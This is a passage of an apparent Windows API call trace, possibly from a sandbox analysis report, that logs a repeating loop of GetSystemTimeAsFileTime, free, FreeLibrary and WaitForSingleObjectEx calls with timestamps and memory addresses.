dwHighDateTime=0x1d9eb0c)) [0230.001] free (_Block=0x196ef0d1d60) [0230.001] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.002] free (_Block=0x196ef0d4e70) [0230.002] free (_Block=0x196ef0fbe00) [0230.002] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69f31fa7, dwHighDateTime=0x1d9eb0c)) [0230.009] free (_Block=0x196ef0d2080) [0230.009] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.009] free (_Block=0x196ef0d4e70) [0230.010] free (_Block=0x196ef0fbb30) [0230.010] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.016] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69f581b2, dwHighDateTime=0x1d9eb0c)) [0230.016] free (_Block=0x196ef0d1d60) [0230.016] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.017] free (_Block=0x196ef0d4e70) [0230.017] free (_Block=0x196ef0fb720) [0230.017] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.024] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69f581b2, dwHighDateTime=0x1d9eb0c)) [0230.024] free (_Block=0x196ef0d1ea0) [0230.024] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.025] free (_Block=0x196ef0d4e70) [0230.025] free (_Block=0x196ef0fb680) [0230.025] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.031] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69f581b2, dwHighDateTime=0x1d9eb0c)) [0230.032] free (_Block=0x196ef0d1d60) [0230.032] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.032] free (_Block=0x196ef0d4e70) [0230.033] free (_Block=0x196ef0fbea0) [0230.033] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.093] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69ff09db, dwHighDateTime=0x1d9eb0c)) [0230.093] free (_Block=0x196ef0d1e60) [0230.093] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.094] free (_Block=0x196ef0d4e70) [0230.094] free (_Block=0x196ef0fbef0) [0230.095] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.107] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a01757d, dwHighDateTime=0x1d9eb0c)) [0230.107] free (_Block=0x196ef0d1d60) [0230.107] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.108] free (_Block=0x196ef0d4e70) [0230.108] free (_Block=0x196ef0fb860) [0230.108] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.114] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a03cf8b, dwHighDateTime=0x1d9eb0c)) [0230.114] free (_Block=0x196ef0d1e60) [0230.114] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.115] free (_Block=0x196ef0d4e70) [0230.115] free (_Block=0x196ef0fb9a0) [0230.115] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a03cf8b, dwHighDateTime=0x1d9eb0c)) [0230.121] free (_Block=0x196ef0d1ae0) [0230.122] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.122] free (_Block=0x196ef0d4e70) [0230.122] free (_Block=0x196ef0fbfe0) [0230.123] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.128] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a06348e, dwHighDateTime=0x1d9eb0c)) [0230.128] free (_Block=0x196ef0d1da0) [0230.128] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.129] free (_Block=0x196ef0d4e70) [0230.129] free (_Block=0x196ef0fbdb0) [0230.130] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.190] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a0fbba2, dwHighDateTime=0x1d9eb0c)) [0230.190] free (_Block=0x196ef0d1ce0) [0230.190] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.191] free (_Block=0x196ef0d4e70) [0230.191] free (_Block=0x196ef0fb540) [0230.191] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a0fbba2, dwHighDateTime=0x1d9eb0c)) [0230.197] free (_Block=0x196ef0d1a80) [0230.197] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.197] free (_Block=0x196ef0d4e70) [0230.198] free (_Block=0x196ef0fb9a0) [0230.198] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a121e9e, dwHighDateTime=0x1d9eb0c)) [0230.205] free (_Block=0x196ef0d1d60) [0230.205] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.205] free (_Block=0x196ef0d4e70) [0230.206] free (_Block=0x196ef0fc170) [0230.206] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a121e9e, dwHighDateTime=0x1d9eb0c)) [0230.212] free (_Block=0x196ef0d1ec0) [0230.212] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.212] free (_Block=0x196ef0d4e70) [0230.213] free (_Block=0x196ef0fbea0) [0230.213] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.219] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a147f4e, dwHighDateTime=0x1d9eb0c)) [0230.220] free (_Block=0x196ef0d1f60) [0230.220] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.220] free (_Block=0x196ef0d4e70) [0230.221] free (_Block=0x196ef0fb900) [0230.221] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.227] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a147f4e, dwHighDateTime=0x1d9eb0c)) [0230.227] free (_Block=0x196ef0d19c0) [0230.227] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.228] free (_Block=0x196ef0d4e70) [0230.228] free (_Block=0x196ef0fbef0) [0230.228] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a1e11f6, dwHighDateTime=0x1d9eb0c)) [0230.286] free (_Block=0x196ef0d1e60) [0230.286] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.287] free (_Block=0x196ef0d4e70) [0230.287] free (_Block=0x196ef0fb270) [0230.287] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.302] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a206b2f, dwHighDateTime=0x1d9eb0c)) [0230.302] free (_Block=0x196ef0d19a0) [0230.302] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.303] free (_Block=0x196ef0d4e70) [0230.303] free (_Block=0x196ef0fbfe0) [0230.303] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.309] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a206b2f, dwHighDateTime=0x1d9eb0c)) [0230.310] free (_Block=0x196ef0d1a20) [0230.310] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.310] free (_Block=0x196ef0d4e70) [0230.310] free (_Block=0x196ef0fb770) [0230.311] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.316] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a22cf2b, dwHighDateTime=0x1d9eb0c)) [0230.317] free (_Block=0x196ef0d1d00) [0230.317] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.317] free (_Block=0x196ef0d4e70) [0230.317] free (_Block=0x196ef0fbdb0) [0230.318] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a29f370, dwHighDateTime=0x1d9eb0c)) [0230.376] free (_Block=0x196ef0d1ee0) [0230.376] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.376] free (_Block=0x196ef0d4e70) [0230.377] free (_Block=0x196ef0fb590) [0230.377] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a2c56e2, dwHighDateTime=0x1d9eb0c)) [0230.388] free (_Block=0x196ef0d1e20) [0230.388] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.388] free (_Block=0x196ef0d4e70) [0230.389] free (_Block=0x196ef0fb4f0) [0230.389] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.394] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a2eb9fe, dwHighDateTime=0x1d9eb0c)) [0230.395] free (_Block=0x196ef0d1f40) [0230.395] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.395] free (_Block=0x196ef0d4e70) [0230.396] free (_Block=0x196ef0fbe00) [0230.396] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.403] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a2eb9fe, dwHighDateTime=0x1d9eb0c)) [0230.403] free (_Block=0x196ef0d1cc0) [0230.403] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.404] free (_Block=0x196ef0d4e70) [0230.404] free (_Block=0x196ef0fba40) [0230.404] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.410] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a311d28, dwHighDateTime=0x1d9eb0c)) [0230.410] free (_Block=0x196ef0d1b40) [0230.410] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.410] free (_Block=0x196ef0d4e70) [0230.411] free (_Block=0x196ef0fbb30) [0230.411] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.469] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a3aa4b0, dwHighDateTime=0x1d9eb0c)) [0230.470] free (_Block=0x196ef0d1de0) [0230.470] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.471] free (_Block=0x196ef0d4e70) [0230.471] free (_Block=0x196ef0fbae0) [0230.471] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.480] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a3aa4b0, dwHighDateTime=0x1d9eb0c)) [0230.480] free (_Block=0x196ef0d2040) [0230.481] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.481] free (_Block=0x196ef0d4e70) [0230.481] free (_Block=0x196ef0fb810) [0230.482] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.488] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a3d068c, dwHighDateTime=0x1d9eb0c)) [0230.489] free (_Block=0x196ef0d1a60) [0230.489] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.489] free (_Block=0x196ef0d4e70) [0230.490] free (_Block=0x196ef0fbb30) [0230.490] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.497] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a3d068c, dwHighDateTime=0x1d9eb0c)) [0230.497] free (_Block=0x196ef0d1d60) [0230.497] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.498] free (_Block=0x196ef0d4e70) [0230.498] free (_Block=0x196ef0fbf90) [0230.498] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.505] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a3f6b7d, dwHighDateTime=0x1d9eb0c)) [0230.506] free (_Block=0x196ef0d1e60) [0230.506] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.506] free (_Block=0x196ef0d4e70) [0230.507] free (_Block=0x196ef0fb270) [0230.507] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.512] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a3f6b7d, dwHighDateTime=0x1d9eb0c)) [0230.512] free (_Block=0x196ef0d1c60) [0230.512] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.513] free (_Block=0x196ef0d4e70) [0230.513] free (_Block=0x196ef0fb590) [0230.513] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a48f3a1, dwHighDateTime=0x1d9eb0c)) [0230.572] free (_Block=0x196ef0d1ee0) [0230.572] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.573] free (_Block=0x196ef0d4e70) [0230.573] free (_Block=0x196ef0fbb30) [0230.573] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a4b5591, dwHighDateTime=0x1d9eb0c)) [0230.583] free (_Block=0x196ef0d1f20) [0230.583] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.584] free (_Block=0x196ef0d4e70) [0230.584] free (_Block=0x196ef0fbae0) [0230.584] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a4b5591, dwHighDateTime=0x1d9eb0c)) [0230.590] free (_Block=0x196ef0d1e60) [0230.590] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.591] free (_Block=0x196ef0d4e70) [0230.592] free (_Block=0x196ef0fb540) [0230.592] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a4db8ce, dwHighDateTime=0x1d9eb0c)) [0230.603] free (_Block=0x196ef0d19a0) [0230.604] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.604] free (_Block=0x196ef0d4e70) [0230.605] free (_Block=0x196ef0fb360) [0230.605] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.723] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a60d3c8, dwHighDateTime=0x1d9eb0c)) [0230.723] free (_Block=0x196ef0d1ca0) [0230.724] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.724] free (_Block=0x196ef0d4e70) [0230.725] free (_Block=0x196ef0fba40) [0230.725] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.731] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a60d3c8, dwHighDateTime=0x1d9eb0c)) [0230.732] free (_Block=0x196ef0d1ee0) [0230.732] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.732] free (_Block=0x196ef0d4e70) [0230.733] free (_Block=0x196ef0fbb30) [0230.733] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.740] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a633190, dwHighDateTime=0x1d9eb0c)) [0230.741] free (_Block=0x196ef0d1a20) [0230.741] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.741] free (_Block=0x196ef0d4e70) [0230.742] free (_Block=0x196ef0fb950) [0230.742] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.813] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a6f185e, dwHighDateTime=0x1d9eb0c)) [0230.816] free (_Block=0x196ef0d1b40) [0230.816] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.817] free (_Block=0x196ef0d4e70) [0230.817] free (_Block=0x196ef0fbc70) [0230.818] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.857] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a73dd7f, dwHighDateTime=0x1d9eb0c)) [0230.858] free (_Block=0x196ef0d1fa0) [0230.858] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.859] free (_Block=0x196ef0d4e70) [0230.859] free (_Block=0x196ef0fc080) [0230.860] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.865] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a764365, dwHighDateTime=0x1d9eb0c)) [0230.866] free (_Block=0x196ef0d19e0) [0230.866] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.866] free (_Block=0x196ef0d4e70) [0230.867] free (_Block=0x196ef0fba90) [0230.867] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.874] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a764365, dwHighDateTime=0x1d9eb0c)) [0230.875] free (_Block=0x196ef0d1960) [0230.875] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.876] free (_Block=0x196ef0d4e70) [0230.876] free (_Block=0x196ef0fb9a0) [0230.877] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.925] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a7fca03, dwHighDateTime=0x1d9eb0c)) [0230.926] free (_Block=0x196ef0d1ba0) [0230.926] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.926] free (_Block=0x196ef0d4e70) [0230.927] free (_Block=0x196ef0fba40) [0230.927] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.936] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a7fca03, dwHighDateTime=0x1d9eb0c)) [0230.937] free (_Block=0x196ef0d1960) [0230.937] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.938] free (_Block=0x196ef0d4e70) [0230.938] free (_Block=0x196ef0fbb80) [0230.939] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.944] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a822c7d, dwHighDateTime=0x1d9eb0c)) [0230.944] free (_Block=0x196ef0d1a40) [0230.944] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.945] free (_Block=0x196ef0d4e70) [0230.945] free (_Block=0x196ef0fbd10) [0230.945] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.952] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a822c7d, dwHighDateTime=0x1d9eb0c)) [0230.952] free (_Block=0x196ef0d1a40) [0230.952] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.953] free (_Block=0x196ef0d4e70) [0230.953] free (_Block=0x196ef0fb680) [0230.953] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.958] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a84933f, dwHighDateTime=0x1d9eb0c)) [0230.959] free (_Block=0x196ef0d1de0) [0230.959] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0230.959] free (_Block=0x196ef0d4e70) [0230.960] free (_Block=0x196ef0fbae0) [0230.960] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a8bb4ba, dwHighDateTime=0x1d9eb0c)) [0231.001] free (_Block=0x196ef0d2040) [0231.002] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.002] free (_Block=0x196ef0d4e70) [0231.003] free (_Block=0x196ef0fbfe0) [0231.003] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.011] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a8bb4ba, dwHighDateTime=0x1d9eb0c)) [0231.012] free (_Block=0x196ef0d1a20) [0231.012] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.013] free (_Block=0x196ef0d4e70) [0231.013] free (_Block=0x196ef0fbf40) [0231.013] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a8e1792, dwHighDateTime=0x1d9eb0c)) [0231.026] free (_Block=0x196ef0d1b00) [0231.026] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.026] free (_Block=0x196ef0d4e70) [0231.026] free (_Block=0x196ef0fb950) [0231.027] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a907fe4, dwHighDateTime=0x1d9eb0c)) [0231.040] free (_Block=0x196ef0d1c60) [0231.040] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.041] free (_Block=0x196ef0d4e70) [0231.041] free (_Block=0x196ef0fbb30) [0231.042] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.110] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a9a5575, dwHighDateTime=0x1d9eb0c)) [0231.110] free (_Block=0x196ef0d1d60) [0231.111] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.111] free (_Block=0x196ef0d4e70) [0231.112] free (_Block=0x196ef0fb4a0) [0231.112] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a9cba19, dwHighDateTime=0x1d9eb0c)) [0231.118] free (_Block=0x196ef0d1c00) [0231.119] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.119] free (_Block=0x196ef0d4e70) [0231.120] free (_Block=0x196ef0fbd10) [0231.120] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.128] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a9f1cbb, dwHighDateTime=0x1d9eb0c)) [0231.129] free (_Block=0x196ef0d2040) [0231.129] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.129] free (_Block=0x196ef0d4e70) [0231.130] free (_Block=0x196ef0fba40) [0231.130] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6a9f1cbb, dwHighDateTime=0x1d9eb0c)) [0231.140] free (_Block=0x196ef0d1ac0) [0231.140] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.140] free (_Block=0x196ef0d4e70) [0231.141] free (_Block=0x196ef0fbb30) [0231.141] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: 